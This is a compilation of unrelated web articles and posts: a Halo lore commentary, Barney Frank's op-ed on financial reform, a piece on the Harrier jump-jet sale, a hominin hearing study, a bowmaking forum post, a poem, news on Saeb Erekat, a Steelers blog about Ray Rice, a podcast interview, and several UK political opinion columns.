The Ford FX Atmos was envisioned to be powered by nuclear power. This concept car had joysticks for steeringWith some three dozen books (consisting of novels and comic and reference books), a handful of live-action and animated short films, and almost a dozen main and spin-off games flying underneath the Halo banner, there can be no doubt that Halo is a franchise that has transcended far beyond its original medium. Much like the pre-Disney acquisition Star Wars universe, Halo’s lore is no longer entirely driven by the actions of the main characters of the overall series, with quite a number of other characters going off on their own adventures across the galaxy. For example, Halo Wars 2, Microsoft’s latest attempt to expand the story of Halo beyond the tale of Master Chief and Cortana, revolves around a long lost ship and her crew, with only the briefest mention of the Master Chief during its moderately long campaign.
Naturally, this is quite a boon for those who are interested in the story of Halo, especially with Halo Wars 2 featuring an in-game encyclopedia of sorts that offers insight into virtually every unit, event, and faction that makes an appearance in the game. You would have to suspend disbelief at times, as some things don’t make much sense from a logical standpoint (Halo Wars 2 would’ve been a much shorter game if the Banished decided to actually use that fancy Assault Carrier of theirs), but then again that is almost a prerequisite to any game or movie involving aliens. In any case, most Halo fans would probably appreciate 343 Industries’ attempts at exploring all of the other facets of the Halo universe, from shedding some light on the enigmatic Forerunners to showcasing all of the other battles and events that took place while the Master Chief was busy blowing up Halos.
Unfortunately, as fascinating as all these new plot points may be, there are two particularly glaring issues that have become rather apparent. The first is that casual audiences won’t care about all these story details—which, to be fair, is not a problem that is exclusive to any game—or worse yet, that they will get lost because there is just too much information that they have to process. This was a real risk for 343 during their attempt to sprinkle some lore from the books into Halo 4, especially when you consider how many Halo books were released by then, to say nothing of how convoluted all of the Forerunner mumbo-jumbo must’ve seemed to anyone who didn’t read the books.
The second, and perhaps more mildly annoying issue, is that even with the introduction of all these new characters and locations and whatnot, almost everything that happens in Halo’s extended universe happens as if it were being presented through the eyes of someone who played through the other Halo games. This is actually a fairly inconsequential matter in Halo Wars 2, if you disregard the fact that the main characters of the game have been asleep and drifting through the infinite emptiness of space for almost three decades, which is when the events of the other Halo games took place. It is hard to say, but one can probably safely assume that people who were unexpectedly teleported to a very specific location in space which just so happens to be a place that was literally designed for the purpose of manufacturing massive weapons of galactic destruction would likely be much less nonchalant about their situation, and that’s just the tip of the iceberg.
But for all of its flaws, the underlying story behind the Halo extended universe is a fascinating subject that has a lot of potential. Could it be presented in a better way? Without a doubt. It may not lead to your average Halo player purchasing every Halo book in existence, but at the very least it would allow for a more airtight and compelling narrative. As it stands now, though, there is no real reason not to do some “light research” into the Halo universe if you have even a passing interest in science fiction. There are no shortage of cases where some things make no sense, even in the context of the universe (seriously, how does Anders know how to do everything seemingly by herself in Halo Wars 2?), but such things can be overlooked for the sake of delving into the interesting story of one of the most influential games of our time.
Share Have a tip for us? Awesome! Shoot us an email at [email protected] and we'll take a look!"One thing has obviously changed. To use the common legislative metaphor, as with health care, the fight over this [financial-reform] law in the next few years will be using real bullets—i.e., with Trump as president, Congressional Republicans will no longer either face the frustration or enjoy the comfort of knowing that their efforts are simply expressions of their ideology, but know that they will have real consequences."
It is true that Trump's administration and congressional Republicans have expressed opposition in principle to the financial reform law which they characterize as excessive regulatory interference with the financial system, with occasional claims—with no supporting evidence or even, logical argument—that it has slowed economic growth.
And while I have not seen him quoted specifically on the subject, I have first-hand knowledge of the depth of the aversion to the law felt by Carl Icahn, Trump's designated chief advisor on financial regulation. In my last re-election, in 2010, Icahn gave the maximum donation to the unsuccessful effort to defeat me. Given the lack of any previous evidence of his interest in the communities I represented nor any interaction between us, I do not think it is self-centered for me to conclude that his donation was likely motivated by his anger at me for my co-sponsorship of the financial-reform bill.
So, there are two questions to be answered in trying to predict what will happen to the Wall Street Reform act in the Trump years. First, why was there so little serious Republican effort to undo it from 2011 until now? Second, is there any reason to think the factors that led to this relative passivity are no longer operative?
One thing has obviously changed. To use the common legislative metaphor, as with health care, the fight over this law in the next few years will be using real bullets—i.e., with Trump as president, Congressional Republicans will no longer either face the frustration or enjoy the comfort of knowing that their efforts are simply expressions of their ideology, but know that they will have real consequences. To a great degree, this pushes them to act—to follow through on promises made because there will be no Democrats to blame for failure to do so.
But it also complicates the political benefit-cost equation, especially for financial reform. The single biggest deterrent to Republican congressional action to do away with the changes made by the Wall Street reform bill for the past four years is its popularity with the public. And unlike health care, support for that law cuts across party lines. Cutting back the power of the Consumer Financial Protection Bureau, re-deregulating derivatives, restoring the full power of lenders to make imprudent mortgage loans while retaining no responsibility for them do not poll well.
And Republicans facing election contests in 2018 in all but the safest districts fully understand the ads that can be built around these themes. Having voted for the successful bill to leave the Consumer bureau less able to deal with the next Wells-Fargo like scam, or freeing up AIG to repeat the behavior that left them needing $170 billion from the Federal Reserve to avert a global disaster, and resorting to the Fed the legal ability to provide, are not winning issues—no matter how much Carl Icahn contributes to your campaign on their behalf.
While Trump's presidency means that these changes could become law, the nature of his campaign makes them even more politically dangerous. Of all the contradictions that exist between Trump's populist rhetoric and his pro-establishment agenda, this is the greatest. Elizabeth Warren's ability to annoy him will be greatly magnified if she can quote Trump's campaign rhetoric—e.g. his Goldman Sachs ad—in opposition top Republican efforts to restore to Goldman the right to pursue the business practices he railed against. (In fairness to Goldman, a phrase I acknowledge you don't often read, they have not been pushing hard for the right to do so.)
There is a basis for a bipartisan consensus to make some accommodation in the law for small- and mid-sized banks in ways that do not diminish whether its power to protect consumers or its ability to curtail irresponsibly. But this leads me to a discussion of one other factor which contributed to the Republicans failure to act in this area before Trump, and which will continue to plague them in the future: There is a serious difference of opinion among Republicans when it comes to financial reform.
The split between former Speaker John Boehner and House Financial Services Committee Chair Jeb Hensarling was so deep as to have left the committee in the past with no ability to move its agenda. While things are much less strained under Paul Ryan, Hensarling's deep-rooted commitment to a pure laissez-faire approach goes beyond what many of his co-partisans support.
For example, Hensarling has expressed opposition to increasing the current $50 billion figure at which a bank falls under supervision by the Financial Services Oversight Council, insisting instead on much more radical change. (Author's note: I expressed my personal support for this change in 2013 when it was proposed by Fed Governor Daniel Tarullo. This has allowed me to continue to support the move with a clear conscious after joining the board of Signature Bank two years later. At the time I agreed with Tarullo, I had not heard of Signature Bank and obviously, therefore, had never considered joining its board.)
One last point is relevant to speculating what the Trump years will bring to financial reform. Given the power of the president to appoint all of those responsible for exercising the power of the law, they can substantially weaken it without legislating—a fact which I cite unhappily. This may end up being a way out of some Republican political dilemma.
Commentary by Barney Frank, chair of the House Financial-Services Committee from 2007 to 2011, during which time Congress enacted the TARP program and the financial-reform bill known as Dodd-Frank. Follow him on Twitter@BarneyFrank.
For more insight from CNBC contributors, follow @CNBCopinion on Twitter.Blighty's famous force of Harrier jump-jets, controversially disposed of during last year's defence review along with the Royal Navy's aircraft carriers, have been reprieved: the radical vectored-thrust jets, believed by many to have been the best strike planes in Britain's arsenal, will fly (and almost certainly, fight) again.
However they won't do so with British roundels on their sides or British pilots in their cockpits. The mothballed fleet of 74 Harriers, plus the UK's inventory of spare parts, is being bought up lock, stock and barrel by the US Marines.
The US Marines possess a substantial air arm of their own and operate a large fleet of Harriers, with slightly different equipment but structurally the same. They anticipate that the British planes, engines and spares, many of which are in nearly-new condition and have been recently upgraded at significant expense, will allow them to keep flying Harriers into the mid-2020s without difficulty.
"We’re taking advantage of all the money the Brits have spent on them. It’s like we’re buying a car with maybe 15,000 miles on it," Harrier expert Lon Nordeen tells the Navy Times.
The US Marines operate Harriers in a similar fashion to that until recently employed by the Royal Navy, in which the jets take off from a small aircraft carrier without catapults using their swivelling jets to make a very short takeoff run. Having flown a mission and burned fuel (and perhaps released weapons), the Harrier becomes light enough to set down vertically, supported entirely by jet thrust.
Harriers headed for the States, where the Marines are looking for a few good planes.
The Royal Navy now plans to fit at least one of its new big carriers with catapults, and will be using conventional tail-hook jets with these at some point. But the US Marines' small amphibious-assault carriers cannot be converted for catapult operation, and they intend to maintain Short Takeoff and Vertical Landing (STOVL) capability. The only post-Harrier option for this is the B variant of the F-35 Joint Strike Fighter, the world's first ever supersonic stealth jump-jet. The F-35B will be very expensive to buy and operate for a long time, however, and the Marines will be glad to be able to keep flying Harriers well into the 2020s rather than having to buy cripplingly expensive F-35Bs in large numbers early on in the F-35 production run when prices will be high.
In Britain the decision to scrap the Harrier and the RN carriers was hotly criticised, with famous commanders from the Falklands War writing to the papers pointing out the folly of the move. It was suggested that the Harrier - operated by a mixed force of RAF and naval personnel - had been scrapped so that the RAF could preserve its much-loved, very expensive-to-run, manpower intensive but only marginally useful Tornado bomber force intact. It was pointed out that the Tornado, specifically designed to fly well only at a low level, struggles to operate usefully in Afghanistan where even the base runway is at quite a high altitude. Every Tornado takeoff there is a risky gamble as the jet will not lift off until it is going at 184 mph - but it takes almost all of the runway to achieve this.
Every time a Tornado gets airborne, it passes through a point of no return on the runway after which, if there's a problem, there is no room to brake to a halt and the crew must eject and let the plane wreck itself. This has already happened at least once.
Also the Tornado takes much longer to get airborne in response to a call for assistance than a Harrier, and the Harrier fleet boasted higher availability in Afghanistan while requiring smaller numbers of personnel to support it.
Then, after the Harriers and carriers had been scrapped nonetheless (it did not escape notice that the defence review involved two air marshals at the level conferring direct access to the Prime Minister but only one admiral and one general)... Libya happened, and we were treated to the unedifying spectacle of US Navy, US Marine, French and even Italian jets lifting off from decks just off the coast and hitting targets within minutes while the RAF's Tornados and Eurofighters toiled in across the Mediterranean (or even in many cases all the way from England), wastefully burning up extremely expensive flying hours and requiring extensive use of air-to-air refuelling. Again it did not escape notice that the RAF's new PFI tanker fleet is expected to cost twice what the new RN carriers are... to hire, not buy.
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So the decision to scrap the Harrier looks like a very foolish one indeed from a British viewpoint. Still, it's an ill wind which blows nobody any good, and plainly the US Marines can't believe their luck. ®In both species, maximum hearing sensitivity was shifted toward slightly higher frequencies compared to chimpanzees, and both had better hearing than chimps or humans in the range from about 1.0-3.0 kilohertz, paleoanthropologist Rolf Quam of Binghamton University in New York said. Sounds in that range include vowels and some consonants, Quam said.
"It turns out that this auditory pattern may have been particularly favorable for living on the savanna. In more open environments, sound waves don't travel as far as in the rainforest canopy, so short-range communication is favored on the savanna," Quam said.
The human lineage split from chimps roughly 5 to 7 million years ago, Quam said, and our ancestors' hearing abilities began to adapt to lifestyle changes. To assess the two species' hearing abilities, the researchers studied fossils including tiny middle-ear bones called the ossicles (the malleus, incus and stapes) and created virtual computer reconstructions of the ear's internal anatomy.
Our species, Homo sapiens, which arose about 200,000 years ago, is distinct from most other primates in having better hearing across a wider range of frequencies, generally from 1.0 to 6.0 kilohertz. This range encompasses many sounds emitted during spoken language.
Related: Chimps Might Have More Evolved Hands Than Humans
"I want to be clear that we are not arguing that these early humans had language, which implies a symbolic content," Quam said. "Certainly they could communicate vocally. All primates do. But human language emerged during our evolutionary history at some time after the existence of these early humans."
The research appears in the journal Science Advances.Thank you all.
Richard - it means a lot coming from you, thank you. I missed not seeing you or Steven up there.
John - the mate with the ebony is from doing the maple negative space on the 1 1/2"dia. wheel at the top of the platen on my 2x72" knife grinder Square Wheel machine, coupled with turning a square of ebony on the lathe to match. The beauty of this joint over, say a flat-overlay join (Locktite 151 Hysol epoxy - I use on my knife handles), is that the glue at the sides is not in peel, but shear, and much stronger.
The shape was created during the glue up.Now that I think of it, it was a lot of things at once in one glue up! Somehow, I got away with it. I need to start taking pictures, so you guys don'e need to listen to my thousand words, but I describe it: First, the boo n bulletwood are generally shaped, of course flattened, and the handle narrows and tip narrows cut in a general profile,but the tips were 1 1/8 wide for about 9". The three pieces of the handle are cut narrow like the handle and the uppermost under the boo is maple, sawn to match the shapes of the fades, feather tapered at the ends. The walnut is next under it, and also feather tapered, then the bulletwood, two pieces previously joined "Z" splice cured, sanded flush. This is cut in an arc on the archer's side, and a piece of cherry cut to the same curvature is mated. Now for what you actually asked: the saiyas are maple, cut as two intersecting curves going from feathered ends to thick of about 1", over the 9" length, and are actually wider than the boo/bulletwood. The ebony is not done at this time, oddly enough, and it would have been easier, though wasteful of ebony.
The glue-up: I set up a2x4 in my vice horzontal, and have already marked the stations [measured, from center], where I want support under the limb sandwich, and where I want the pressure blocks to force the tips up to conform to the saiyas. I started glue-up, with the cherry piece, the bellyside of the handle riser, then the bulletwood glued up core, then the the walnut, maple and finally, the glue is buttered on the boo - which btw is left full thickness in the middle - not quite 3/8" tapered to maybe an 8th soon after the fades. Like a self-powerlam, but I added both maple - [just under 3/8ths], and walnut - [just under 1/4" thick at the center] too, don't forget. Hope that is clear [as mud - not!].
The center is clamped first, then the riser all pieces including power lam, pulling it into deflex to the stations set up. When I got near the ends of the mid limbs, I inserted the maple in-between the boo/bullet, and seated it at the depth I wanted, it left 1/8" showing of the maple saiyas above the boo. Made sure they were parallel, put them up on the pressure blocks at about 1 inch from the ends, pulled down the middle of the curve, clamped it all up. Took 33 clamps, including three 6"ers, the rest 4". I leave it on for at least a full day and then take them off, start trimming w/ a 36grit belt and eyeball.
Much much later, as I started refining the shapes, the tips got reduced, but still more meat than I wanted. That's when I did the ebony tips with the whole bow to deal with on the sander! Fun and games, trust in luck, etc., etc. Then they got reduced even more to their present state, then the carving, and the interesting little ripples in the ebony are really a second set of nocks for the simple stringer I made out of cord. No way you want to jam the razor tips into the insole of the foot to brace it!
I called this "Skele-Tip Bow", even once "Aerospace Tip Bow", but now that I've just said it, "Razor-Tip Bow" doesn't sound too bad.
David - Now that John'made' me do all that explanation, here is your answer - I don't know. I am basically a newbie to this whole deal.
DaVidwhite man asks why I don’t date white men
he says he likes curvy Latinas
that he’s always wanted to sleep with someone like me
he says that I’m the smart kind of “Mexican”
the kind that has a job and no kids
I probably have a temper
and an angry woman is sexy to him
White Man offers to buy me
tickets to my favorite rapper’s concert
says he can spoil a little brown girl like me
he’s already dreaming about it
how holy that would be
how saved I will become
White Man is already colonizing everything about me
teaching me he is God,
I don’t know better
It’s his job to show me
after all I am brown
brown things are meant to be walked on
like soil
and hands
and backs
I don’t say anything to White Man
I don’t know who he is
I am only a picture on a dating site
I am only a name on a direct message
A profile description that says I am Salvadoran
and only date men of color
meaning,
I can only love you
if you know what it is
to find breath in someone
that understands the suffocation
meaning, I can only love somebody
that doesn’t look like
what took everything
meaning,
I am only willing to love
my reflection
White Man thinks he is the exception
of course he does,
he is a white man
after allChief Palestinian negotiator Saeb Erekat is denying that he apologized to Israel – as presented in a campaign video promoting the Geneva Initiative.
Erekat was criticized by Palestinians for allegedly hinting at regret in a videotaped address.
Erekat On Peace PA official: Netanyahu procrastinating Roee Nahmias Palestinian optimism about Washington peace talks dimming as Chief PA Negotiator Saeb Erekat accuses PM Netanyahu of applying stall tactics. 'Peace in the West Bank will demand Israel tear down settlements,' he says PA official: Netanyahu procrastinating
“Shalom to you in Israel, I know we have disappointed you, I know we have been unable to deliver peace for the last 19 years," Erekat says in a video posted on the Geneva Initiative's website
The negotiator told the paper that he had agreed to participate in the campaign aimed at swaying public opinion in Israel in order to convince people that "we can still obtain a peaceful solution despite past failures".
However, he said, his comments had been wrongly interpreted. "I spoke as the director of negotiations and meant to say that we, as negotiators – Palestinians and Israelis equally – have disappointed our peoples by failing to reach an agreement to end the conflict despite lengthy years of negotiations," Erekat said.
"I never for a moment considered apologizing to the Israeli people on behalf of the Palestinian people – a nation which suffers daily from the policy of occupation, deportation, and humiliation, and which is really the one worthy of an apology."
Fayyad said he sees the campaign as pro-Israeli, presenting the Palestinians as a people forever failing to achieve peace and now apologizing and asking for favors.Reading into the responses of the veteran leadership when questioned on their opinion of Ray Rice's assault of his then-fiance, the Steelers continue to show the class that should be expected of professional athletes when dealing with such issues.
"The standard is the standard;" a classic cliche that has become a stigma that defines the expectations of members in the most successful organization in the modern era of the NFL, the Pittsburgh Steelers.
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This standard has often been mentioned in light of the need for younger players and/or replacements on the team to be ready for whenever they may be called up to play with the starting unit and help the team maintain the same success it had with the veteran whom was being replaced. However, there is also a standard expected of each player on the team to uphold off the field as well.
While this does not mean everyone that has ever been on the team has upheld that standard, it is clear that such a standard exists within the organization when one observes the history of its many of its leaders in the public eye. This has been evidenced again, by how the team has responded to the release of the video in which Ray Rice knocked out his then-fiance.
Quarterback and team captain Ben Roethlisberger was asked by Baltimore media for his take on Ray Rice's situation. Despite Rice being a veteran of a team that has had several hard fought games with and harsh words for the Steelers, Roethlisberger kept his words positive.
"We pray for him and his wife and his family," Roethlisberger said. "The biggest focus is the game on Thursday. That's really all that we can afford to deal with right now on such a short week and notice. That's the most important thing for us right now is what we control."
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Roethlisberger's statement follows suit with how other veterans of the Steelers responded when asked their opinion about the elevator video.
Despite his mother losing her life to domestic violence, Steelers' cornerback William Gay chose not to attack Rice. He instead talked about praying for Rice and his wife, and getting Rice help in dealing with the many issues that exist here.
Safety and team captain, Troy Polamalu, spoke more-so on how he was in no place to judge the actions of Rice, as everyone deals with their own struggles in life and must each confront their own problems, rather than focus on the judgment of others.
These players are not rushing to publicly judge another person, or athletes taking an opportunity to point the finger at a rival, these are professionals taking the ethical road on the issue rather than publicly chastising Rice as much of the others.
Just a few years ago, Rice was on the other end of such an exchange when long-time Steelers' wide receiver, Hines Ward, was dealing with a DUI charge. He took the opportunity to tweet that Ward's DUI charge was "not a good look," and then lecture about his actions and the impact it can have on those that see him as a role model.
"People look up to you, Hines," Rice said. "You just were on TV with Dancing with the Stars. Ravens fans were upset that you won Dancing with the Stars but they still watched you. That shows your charisma and character. You've got a legacy in the NFL that no one can take away from you. But if you hurt somebody drunk driving, that takes away a lot."
For the record, the DUI charge was dropped against Ward.
Rice's approach to Ward's situation is the opposite of how the Roethlisberger, Gay and Polamalu reacted when asked about their opinions on the tape of Rice knocking out his then-fiance. Growing up a Steelers fan, this is in-line with what I've come to identify as the way of this organization. Instead of judging and talking about what another person needs to do, or should have done, you speak with respect, support, and empathy towards what another person's struggles might be.
It takes a strong sense of humility to abstain from going-along with public opinion and not only make an evaluation from one's own standing, but to also refrain from judgment with that standing and speak with support for a man whose actions have made himself the easiest punching bag for any media pundit who wishes to address domestic violence as an issue.
This does not mean that Rice shouldn't be criticized for his actions, nor does it mean that a member of the Steelers' organization would be wrong for publicly lambasting Rice over the issue. It is obvious that Rice is in the wrong and his career has now jumped off the tracks, but what's not obvious is how he will atone for his actions and work to piece together whatever issues lie beneath his own person that were tied to what he did.
Whether it was how they can show their support for the Rice family to fix the problems that have come with this incident, how Polamalu does not wish to be a judge of Rice's actions, or how Ike Taylor and Mike Tomlin chose not to comment at all, the Steelers refrained from speaking with disdain towards Rice as a person, despite how easy that would be to do here.
That is where the humility comes in here. That is where they have remained positive during a a controversial issue. That is where they didn't take the easy route of adding to the many jabs that have been targeted at Rice because of his actions and focused instead on prayer and support for he and his family to get to the root of the causes that led to the disgusting incident in question. That is the class act expected of a professional in the Steelers' organization.
In short, that is the standard.
More from sbnation.com:Uhh Yeah Dude is one of the longest running podcasts online. With over 500 hours of comedic banter between two best friends, its clan of superfan listeners have come back week after week since 2006 to hear a stoned LA hipster with a semi-famous dad (John Larroquette of Night Court fame) laugh at a shrieking, TV-addicted vegan from Massachusetts. So why aren't Jonathan Larroquette and Seth Romatelli household names?
UYD has a simple format; sitting in Seth's living room, Romatelli and Larroquette exchange their hilarious opinions on an endless array of topics from current events, to weird news, to tech, to shitty TV shows. Their easy chemistry and accessibility makes them one of comedy's rare duos, offering listeners a glimpse into a genuine friendship, which feels a lot like being among your own friends.
But when you've been doing the same thing for ten years without mainstream success, is there a good time to call it quits? When you're not making any money doing it? When everyone else seems to be way more successful than you? Despite the current flight of comedians into podcasting, UYDstays humbly afloat by accepting their outsider status, and continuing to put out a comedy gem that hasn't changed in the decade it's been on. They have no guests, no ads, no themes, no gimmicks, and no cash grabs.
To learn more about how they do it and to get the scoop on something that no one likes talking about—funding creative ventures—I caught up with Romatelli and Larroquette at a vegan restaurant in Toronto, the day after their first-ever live show in Canada.
VICE: What's Uhh Yeah Dude about?
Seth Romatelli: It's about being alive right now, about living in America right now, and wondering what the fuck is going on. We lay out all the things we notice that have happened in the week and are like "Is everything gonna be alright?" It's about what's going on with tech, the internet, social media, communication, personal lives, love, kids, aging.
How would you guys define your place in the comedy podcast community?
I would say our place is non-existent.
Jonathan Larroquette: We don't communicate much with that world.
Despite being under the category of comedy on iTunes?
Romatelli: We run a comedy podcast on iTunes but are not really a part of that community. Not having guests, the biggest hurdle is that our listeners only hear our voices every week. There's no celebrity or comedian crossover. Also, we're not stand-ups, so comedy is not a world that we inhabit in a social way.
Larro |
lucky enough to hang on to their jobs – today the terms of trade have turned against Europe as prices of imported food, fuel and raw materials have soared thanks to continuing (though slowing) booms in China, India and Latin America.
The alternative to fiscal austerity
Nevertheless, there is still no clearly articulated and broadly supported alternative to fiscal austerity. There are signs of recognition among Europe’s political elite that they face a serious crisis of political legitimacy, but this has not yet gone much further than the rather trite observation that “austerity is not enough”: i.e. that policies aimed at reducing budget deficits and containing public debt need to be supplemented by “pro growth policies”, generally understood to mean (further) deregulating the labour market, weakening employment and social protection and lowering business taxes. Leaving aside ethical objections and the argument that more of the neo-liberal medicine we have been forced to swallow for the past thirty years will further damage both individual and social well-being, supply-side measures of this kind will make no difference to jobs and growth in the short-run.
In the short run, how much profit-seeking firms decide to produce and how much employment (i.e. total working hours) they offer depends on the revenue they expect to receive from selling the goods and services their workers produce. Firms will not produce more than they expect to sell profitably. Expected sales revenue in turn is governed by actual sales revenue over the current and recent past periods. Thus, across the economy as a whole, output and employment depend, in the short run, on the level of aggregate spending on marketed goods and services. It follows that, as often happens in economics, current conventional policy wisdom is incoherent.
The apparent contradiction between reducing the budget deficit and increasing public borrowing in order to boost public spending can be resolved if we distinguish between different time-scales. In the short-term, we need a strong fiscal stimulus to boost aggregate demand, while assuring the financial markets that in the medium term, once a sustained recovery is under way, the government will raise taxes or restrain public spending so as to bring down the budget deficit and, if necessary, reduce the ratio of public debt to GDP. Austerity, in short, is for the boom. To help win public credibility for such a programme, the fiscal stimulus should be targeted on public investment projects rather than current public spending, preferably slanted towards enhancing energy efficiency, saving energy and reducing carbon emissions. And since the problems we face are pan-European, it makes obvious sense for governments to co-ordinate their macro-economic policies, with those countries that have trade surpluses and/or strong credit ratings acting as locomotive for the rest. Once the immediate economic emergency is over, a long-term green investment programme would form the basis for a new fiscal regime designed to stabilise economic activity in much the way Keynes originally envisaged when plans were being laid during the Second World War for post-war employment policy. A distinction would be drawn between current public spending and public investment. Governments would pledge to balance their current budgets – on average, over the business cycle – while financing public investment by means of borrowing. To counter cyclical fluctuations, an ongoing loan-financed programme of green investment would be speeded up or slowed down, depending on what was happening to the private components of aggregate demand.
The current situation is bad, verging on catastrophic. But we should stay sober and spurn the politics of apocalypse. There is, I think, a chance that a green Keynesian programme along the lines I have sketched could form the basis for changing current conventional policy wisdom and setting in motion a process that would bring an end to the age of neo-liberalism, just as the crisis of the 1930s marked the end of laissez faire and the transition, after the war, to a mixed economy.
Education
Bring back national service!
Having recently read Will Self’s light-hearted call for a return to the draft, I would like to suggest a modest proposal of my own for a new British levee en masse. It is clear that today’s broken Britain is failing young people in all sorts of ways. Many simply do not have the skills they need to survive and pull their weight in society, causing them to become a burden on hard working families and taxpayers.
What I suggest is this: after finishing school, these layabouts should be obliged (or at the very least strongly encouraged) to sign up for a three year tour of duty, whether in their home towns or, still better in another part of the country. Three years may sound excessive and impractical, but it is not by any means unheard of in other democratic countries. Israel, for example, demands a similar period of service.
Separated from their parents and housed for the most part in large, impersonal concrete structures, young people would be forced to learn crucial values of independence, self-respect and self-reliance.
Readers may worry that such a plan might threaten, rather than strengthen our national security. After all, the days of the massed infantry battle are now long behind us. Since the revolution in military affairs, it is accepted that we live in an age of information war in which victory goes to the side with most knowledge, rather than the side with most muscle power. Indeed, today, information assets crucial to a country’s economic strength are often considered a matter of national security: why else has America has talked about contemplating ‘kinetic operations’ against China in response to the hacking of its industrial knowledge?
Never fear. My suggestion is for a thoroughly modern type of draft. Rather than squarebashing and stripping rifles, I instead suggest that the nation’s youth be placed in institutions in which they would instead serve their country by acquiring knowledge.
Obviously present military resources would be inadequate to cope with this task. I therefore propose the creation of a strategic resource for the ongoing mobilization of youth to the defence of our national knowledge space. Indeed, am I going too far by suggesting that this ‘higher education sector’ (for want of a better term) could in time evolve a wider range of tactical capacities, such as horizon scanning exercises aimed at discovering new knowledge, and perhaps even conducting joint exercises with similar institutions overseas.
These proposals would, I realize, not be light on the public exchequer. However, given the present social problems caused by feckless, directionless youth, corrupted night and day by the lascivious siren calls of ‘hip-hop culture’, I humbly suggest that inaction may prove even more expensive.
Feminism
Rape culture, not Asian culture, is to blame for Rochdale
Follow Emma-Kate McAlpine on Twitter and on Tumblr. She discusses this story in her third podcast with Lauren Cole, which you can play at the bottom of this page.
The fact that race, not rape, has dominated discussion of the Rochdale rape case, says a lot about the state of society today. The event in itself is an abhorrent display of violence against women, but the reaction, in my opinion, shows a far more widespread disease affecting society. We live in a rape culture. I see this as indisputable. We live in a world which actively condones and justifies violence against women, including rape.
Last week’s BBC Question Time showed the prevalence of these attitudes. The first question asked about the relation between race and the case. I, for one, was confused – why would race have anything to do with the actual case? The responses given by the panel didn’t exactly help to clear up any misgivings.
The Daily Telegraph’s Peter Oborne answered that the real question was why these women were associating with these men. Because, damn those jezebels for talking to a grown adult male, right? It petrifies me that a mainstream political personality will hold these views – in fact, it scares me that anyone would harbour these misogynist, backwards opinions.
Women are raped because rapists exist. There is nothing a victim can do, ever, to stop herself being raped. No ‘extra precautions’ she can take. And putting even partial responsibility on the victim for an attack is revolting – how would you feel if a friend, a family member was raped, only to be told they are somewhat to blame, because of what they wore? Why should half of society be restricted in their choices because a minority choose to rape? A hundred men could walk past a ‘vulnerable’ woman, but only a rapist would rape her.
So no, Oborne, I don’t care if the victims were complete strangers to, best friends or worst enemies with the perpetrators. I don’t care if they wore a latex catsuit, a bin bag or jeans and a t-shirt. It was not their fault.
So race, is that a factor? Did these men rape because of cultural differences? Because they were of Asian origin? Maybe they didn’t understand that it’s not okay to force yourself on an underage teenager? Sorry, but that excuse doesn’t wash with me. Reading the reports, particularly one in the Independent, it is clear that the abuse was sustained and that the men convicted were fully aware of their actions. One victim “lost count of the number of times she had had sex with men when she did not want to do so”. Another was “persistently coerced or forced into submission” by the men.
Which leads me to my next point – if you forcibly penetrate another human who does not want that to happen, it is rape. It is not sex. Sex is intrinsically good, and by definition consensual. So reports of the Rochdale case referring to ‘sex’ with underage girls are incorrect. There was no consent, so, by definition surely, it was assault. These crimes were heinous violations of the victims’ autonomy. This is not justified by Asian culture; it is promoted by a global rape culture.
The hegemonic culture in music, media, politics, society is a patriarchal one, which continually subjugates women. In Western democratic society, rape and violence against women as a whole is condoned through practices such as victim-blaming and slut-shaming.
Look at the comments by a Toronto police officer which sparked the worldwide ‘SlutWalks’. The misogyny present in modern hip-hop. The way Chris Brown, convicted domestic abuser, has been welcomed back into the collective consciousness with no repercussions. An advertisement on 4Music for an entertainment news programme poses the question “Should Rihanna get back with Chris Brown?” A mainstream-owned television channel asking if a woman should return to the arms of a man who assaulted her. I’m sorry, what? How is this an acceptable thing to do in modern society?
Our entire culture, our society, seeks to justify violence against women. It shows men of all ages that committing horrendous crimes such as rape and assault are okay. Because women lie, and women make poor choices which lead to them being attacked, and women sleep around so it’s clear they just want sex, right?
No. It’s not right. It’s not okay. Race did not cause these young women to be raped. A sexist, patriarchal ideology caused this. Rapists caused this.
Uncut
The Jubilee is a national sedative; this is a national wake up call
By Anna Walker, a campaigner from UK Uncut
Cameron wants to see ‘the mother of all parties’. The Queen is old – celebrate! The Olympics are in town – celebrate! Ignore the fact that we are screwing you, your parents, your grandparents, your children, your friends and neighbours. Ignore the fact that we will monitor your emails, tap your phones, sell off the hospitals and schools brick by brick to the private companies. Have an extra day off, have a party, drink some tea, preferably drink some Pimms. But whatever you do, don’t remember the unemployment figures, the number of disabled people who are killing themselves because their benefits are stopped or the number of services you use that are being scrapped.
Don’t dissent. Don’t resist. Don’t protest. If you do, you are unpatriotic, a killjoy, a ‘dangerous anarchist’. We will arrest you if you put an anti-Olympics poster in the window, we will stop and search if you’re wearing a hoodie too near the Olympic stadium. We will pre-emptively arrest you and slap an ASBO on you if you dare to suggest that all is not well and try to do something about it.
UK Uncut also wants to party – but for completely different reasons. We want to undermine the government’s propaganda and the Jubilee pageantry. The idea of UK Uncut holding street parties of resistance came from anger that the government will use Jubilee celebrations as a national sedative and a justification to clamp down on political protest. We want people to remember and to resist the cuts being rammed through by the government. We want people to celebrate a different future, determined by everyone.
The last time the Olympics were held in London was in 1948. The country had an enormous national debt yet the NHS and welfare state were introduced. We are not saying that we wish we could go back to this time, but that the introduction of free healthcare for (almost) everyone is a good thing. That it is better to have some form of support for disabled people, children, single parents and people without work than not. We are not saying that Britain was a perfect place for everyone then or now. Discrimination against people of colour, women, disabled people, LGBT and queer people, migrants, travellers and Roma people was rife then and remains today. Colonialism was vicious and persists in new forms today. The flag is a symbol which means very different things to different people from pride to football hooliganism to far right extremist views. What does it mean to be British? Again, it’s different for different people, so we’ve asked people with different perspectives to write guest blogs which will be posted on the UK Uncut site next week.
We live in communities that make up this country. And those communities are suffering. We are asking what do we want society to look like in a future Britain? You decide. You decide together how you want resist the attack on our services, rights and future. Do what works for you wherever you live.
As opposed to the sedative effect of Jubilee parties, UK Uncut’s street parties are intended to wake up new ideas, new connections and new collective power. They are not about celebrating Britain as it is or as it was in 1948. They are about defiance and the definition of a future that we want to see, where we live – that is determined by us all – not for us, by a bunch of men who think they own power, money, business, government, us and our future.
Green Party
Caroline Lucas stands down: space for someone to lead
So, it’s now public – the rumours that Caroline Lucas is standing down as Green Party leader have been confirmed. It’s a good move.
